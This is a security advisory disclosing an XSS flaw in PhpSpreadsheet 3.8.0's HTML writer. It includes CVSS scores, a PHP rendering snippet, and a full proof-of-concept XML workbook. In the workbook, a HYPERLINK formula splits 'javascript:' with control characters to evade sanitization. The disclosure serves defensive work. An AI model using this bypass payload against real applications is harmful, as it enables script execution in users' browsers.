Product: PhpSpreadsheet Version: 3.8.0 CWE-ID: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') CVSS vector v.3.1: 5.4 (AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N) CVSS vector v.4.0: 4.8 (AV:N/AC:L/AT:N/PR:L/UI:A/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N) Description: an attacker can use special characters, so that the library processes the javascript protocol with special characters and generates an HTML link Impact: executing arbitrary JavaScript code in the browser Vulnerable component: class PhpOffice\PhpSpreadsheet\Writer\Html, method generateRow Exploitation conditions: a user viewing a specially generated xml file Mitigation: additional sanitization of special characters in a string Researcher: Igor Sak-Sakovskiy (Positive Technologies)

Research

The researcher discovered zero-day vulnerability Bypass XSS sanitizer using the javascript protocol and special characters in Phpspreadsheet. The following code is written on the server, which translates the XML file into an HTML representation and displays it in the response.

Listing 4. Source code on the server

<?php

require __DIR__ . '/vendor/autoload.php';

$inputFileType = 'Xml';
$reader = \PhpOffice\PhpSpreadsheet\IOFactory::createReader($inputFileType);  

$inputFileName = './doc/file.xml';
$spreadsheet = $reader->load($inputFileName); 
 
$writer = new \PhpOffice\PhpSpreadsheet\Writer\Html($spreadsheet); 
print($writer->generateHTMLAll());

The contents of the xml file - ./doc/file.xml

Listing 5. The contents of the xml file

<?xml version="1.0"?> 
<?mso-application progid="Excel.Sheet"?> 
<Workbook xmlns="urn:schemas-microsoft-com:office:spreadsheet" 
 xmlns:o="urn:schemas-microsoft-com:office:office" 
 xmlns:x="urn:schemas-microsoft-com:office:excel" 
 xmlns:ss="urn:schemas-microsoft-com:office:spreadsheet" 
 xmlns:html="http://www.w3.org/TR/REC-html40"> 
 <DocumentProperties xmlns="urn:schemas-microsoft-com:office:office"> 
  <Author>author</Author> 
  <LastAuthor>author</LastAuthor> 
  <Created>2015-06-05T18:19:34Z</Created> 
  <LastSaved>2024-12-25T10:16:07Z</LastSaved> 
  <Version>16.00</Version> 
 </DocumentProperties> 
 <OfficeDocumentSettings xmlns="urn:schemas-microsoft-com:office:office"> 
  <AllowPNG/> 
 </OfficeDocumentSettings> 
 <ExcelWorkbook xmlns="urn:schemas-microsoft-com:office:excel"> 
  <WindowHeight>11020</WindowHeight> 
  <WindowWidth>19420</WindowWidth> 
  <WindowTopX>32767</WindowTopX> 
  <WindowTopY>32767</WindowTopY> 
  <ProtectStructure>False</ProtectStructure> 
  <ProtectWindows>False</ProtectWindows> 
 </ExcelWorkbook> 
 <Styles> 
  <Style ss:ID="Default" ss:Name="Normal"> 
   <Alignment ss:Vertical="Bottom"/> 
   <Borders/> 
   <Font ss:FontName="Calibri" x:Family="Swiss" ss:Size="11" ss:Color="#000000"/> 
   <Interior/> 
   <NumberFormat/> 
   <Protection/> 
  </Style> 
  <Style ss:ID="s16"> 
   <NumberFormat ss:Format="General Date"/> 
  </Style> 
 </Styles> 
 <Worksheet ss:Name="Лист1"> 
  <Table ss:ExpandedColumnCount="2" ss:ExpandedRowCount="6" x:FullColumns="1" 
   x:FullRows="1" ss:DefaultRowHeight="14.5"> 
   <Column ss:AutoFitWidth="0" ss:Width="194"/> 
   <Row> 
     <Cell ss:Formula="=HYPERLINK (CHAR(20) &amp; &quot;j&quot; &amp; CHAR(13) &amp; &quot;avascript:alert(1)&quot;)"><Data ss:Type="String"></Data></Cell> 
   </Row> 
  </Table> 
  <WorksheetOptions xmlns="urn:schemas-microsoft-com:office:excel"> 
   <PageSetup> 
    <Header x:Margin="0.3"/> 
    <Footer x:Margin="0.3"/> 
    <PageMargins x:Bottom="0.75" x:Left="0.7" x:Right="0.7" x:Top="0.75"/> 
   </PageSetup> 
   <Selected/> 
   <TopRowVisible>1</TopRowVisible> 
   <Panes> 
    <Pane> 
     <Number>3</Number> 
     <ActiveRow>6</ActiveRow> 
    </Pane> 
   </Panes> 
   <ProtectObjects>False</ProtectObjects> 
   <ProtectScenarios>False</ProtectScenarios> 
  </WorksheetOptions> 
 </Worksheet>
</Workbook>